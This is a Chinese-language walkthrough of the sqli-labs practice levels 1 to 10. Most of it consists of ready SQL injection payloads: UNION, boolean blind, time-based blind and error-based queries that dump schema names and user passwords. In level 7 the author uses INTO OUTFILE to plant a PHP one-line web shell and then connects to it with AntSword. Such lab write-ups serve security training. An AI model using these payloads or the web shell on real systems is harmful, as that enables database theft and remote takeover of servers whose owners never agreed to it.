sqli-labs通关(1-10)
-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器 在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码 后会变成空格。
1.闭合符有单引号、双引号、单引号加括号、双引号加括号等
2.payload即我们要输入的sql查询语句
第一关(基于错误的GET单引号字符型注入)
手工UNION联合查询注入
1.根据提示输入id作为带数值的参数
输入后
2.判断注入类型
输入 and 1=2无反应,说明不是数字型
输入单引号报错
但是输入–+注释后又正常,说明此处为单引号字符型注入
3.判断列数
使用order by判断列数,order by 3正常 order by4不正常
说明有三列
4.使用联合查询(id值应不存在)爆出数据库名 表明 列名
?id=-1' union select 1,2,3--+
可以看出2 3出有回显 我们在此处进行sql注入
爆数据库名
?id=-1' union select 1,database(),user()--+
可以看出数据库名为 security 用户为root
爆表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema ='security'--+
爆列名
将所有表列名爆一遍发现users存在可以用信息username和password
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name ='users'--+
爆字段
分别爆出username 和password
?id=-1' union select 1,database(),group_concat(username) from security.users--+
?id=-1' union select 1,database(),group_concat(password) from security.users--+
至此第一关结束。
第二关(基于错误的GET型注入)
1.根据提示输入id作为带数值的参数
2.判断注入类型
输入 and 1=2页面消失说明为数字型
?id=1 and 1=2 --+
3.判断列数
?id=1 order by 3 --+
经尝试发现存在3列
4.联合查询(在and 1=2下)
?id=1 and 1=2 union select 1,2,3--+
之后按照步骤依次爆出数据库、表名、列名、字段
参考第一关
第三关(基于错误的GET单引号变形字符输入)
1.根据提示输入id作为带数值的参数
2.判断注入类型
输入单引号报错,根据提示输入的内容被放到一对单引号加圆括号中了,猜想输入的1在数据库的位置形如:select…from…where id=’(1)’,在id=1’后加上后括号)进行注入
3.判断列数
4.联合查询(在id不存在下)
第四关(基于错误的GET双引号字符输入)
1.根据提示输入id
2.判断注入类型
输入单引号无反应,输入and 1=2无反应
输入双引号报错,根据提示输入内容被放入一对双引号加圆括号中,猜想输入的1在数据库的位置形如:
select…from..where id=”(1)”,在id=1”后加上后括号)进行注入
3.判断列数
4.联合查询(在id不存在下)
第五关(双注入GET单引号字符注入)
根据提示输入id
看到此报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注
下面给出验证时间延迟型盲注:
?id=1' and sleep(5)--+
发现有明显延迟
接下来思路是通过延迟依次爆出数据库长度、数据库名、表名、列名、字段
方法一:延迟型手工注入:
此注入正确会延迟,错误没有延迟。id无所谓,因为不看回显,通过浏览器的刷新提示观察延迟情况,但是id正确时有利于观察。
时间延迟型和报错型payload核心部分构造相同。
时间延迟型payload= ?id=1' and if(报错型payload核心部分,sleep(5),1)--+
爆库长payload=
?id=1' and if(length(database())=8,sleep(5),1)--+
当为8时出现明显延迟,库长为8
爆库名
爆库名payload=
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
出现明显延迟,说明数据库名第一位为’s’,接下来以此增加 left(database(),字符长度)中的字符长度,等号右边依次爆破下一个字符,出现延迟则正确。最终得到left(database(),8)=’security’
爆表名
爆表名payload=
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
limit1,1意思是从第二个数据开始取一个数据,即指第二个表名
分解如下
sql/Less-5/?id=1’ and if(语句,1)=’r’,sleep(5),1) 语句= left((select table_name from information_schema.tables where table_schema=database() limit 1,1)
经过很长时间努力,发现第四个表名为users,
payload=
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1)--+
limit 3,1的意思是从第四个数据开始取一个数据,即指第四个表名users
爆列名
经过很长时间发现第五个跟第六个列名分别为username和psssword,payload分别如下
username payload= ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username',sleep(5),1)--+
password payload= ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password',sleep(5),1)--+
爆字段
username payload=
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
password payload=
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb, 密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb
此方法需花费大量时间,建议使用sqlmap
方法二:布尔型手工注入:
在此注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
爆库名
payload=
?id=1' and left((select database()),1)='s'--+
手工注入时,可以使用left((select database()),1)<’t’ 使用二分法快速爆破
经过长时间努力发现库名为 security
payload=
?id=1' and left((select database()),8)='security'--+
爆表名
payload=
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'--+
爆列名
payload=
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username'--+
爆字段
username payload=
?id=1' and left((select username from security.users order by id limit 0,1 ),4)='dumb'--+
password payload=
?id=1' and left((select password from security.users order by id limit 0,1),4)='dumb'--+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb, 密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb
方法三:报错注入
三种常用的报错注入语句
1.通过floor报错 and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 该语句将输出字符长度限制为64个字
2.通过updatexml报错 and updatexml(1, payload,1) 输出的字符长度也做了限制,其最长输出32位 并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
3.通过ExtractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
我们使用floor报错语句进行注入(使用limit 方法输出)
爆库名
?id=1' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 4,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ payload= (select schema_name from information_schema.schemata limit 4,1)
1是floor语句输出的一部分,不管输出什么结果都有1
爆表名
?id=1' and (select 1 from (select count(*),concat(((select table_name from information_schema.tables where table_schema=database() limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ payload= (select table_name from information_schema.tables where table_schema=database() limit 3,1)
爆列名
?id=1' and (select 1 from (select count(*),concat(((select column_name from information_schema.columns where table_name='users' limit 4,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ payload= (select column_name from information_schema.columns where table_name='users' limit 4,1)
爆字段
?id=1' and (select 1 from (select count(*),concat(((select username from security.users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ payload= (select username from security.users limit 0,1)
password同理
第六关(双注入GET双引号字符型注入)
此关与第五关类似,却别是使用””的方式闭合字符串
只需将id=1’ 改为?id=1”即可
第七关(导出文件GET字符型注入)
数据库file和into outfile命令: 数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限 into outfile命令使用时我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
判断注入点:
- 首先我们输入?id=1观察页面
2.然后我们输入and 1=2页面正常 图同1
3.接下来我们输入单引号’报错,说明可能存在注入
4.然而当我们输入 ?id=1’–+页面依然出错 图同3
5.接着我们尝试输入?id=1’)–+ 页面依然出错 图同3
6.接着我们尝试输入?id=1’))–+ 发现页面终于正常
由于本题提示是导出文件GET字符型注入
然后我们尝试写入文件
payload= 注意使用\\
?id=1')) union select 1,2,3 into outfile "具体的文件夹路径\\xx.php"--+
虽然报错但是我们查询文件夹发现文件创建成功
接着我们上传一句话木马
需要注意的是我们使用file权限向操作系统写入文件时,对于相同的文件名的文件不能覆盖,所 以如果第一次上传yuan.php,下次再上传yuan.php时就是无效命令了,新的yuan.php不会覆盖 原有的yuan.php
http://sql/Less-7/?id=1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile"D:\\phpstudy_pro\\WWW\\sqli-labs-master\\yuan1.php"--+
接着我们使用蚁剑连接
成功连接!
第八关(布尔型单引号GET型盲注)
参考第五关布尔型注入
经过尝试发现为单引号注入
接下来爆库名、表名、列名、字段
payload参考第五关
第九关(基于时间的GET单引号盲注)
参考第五关时间延迟型盲注
经过尝试发现不管输入什么都无反应,考虑时间延迟型注入
?id=1’ and sleep(5)–+
发现明显延迟
接下来爆库名、表名、列名、字段
payload参考第五关
第十关(基于时间的双引号盲注)
在输入 ?id=1” and sleep(8)–+ 时发现明显延迟
接下来爆库名、表名、列名、字段
payload参考第五关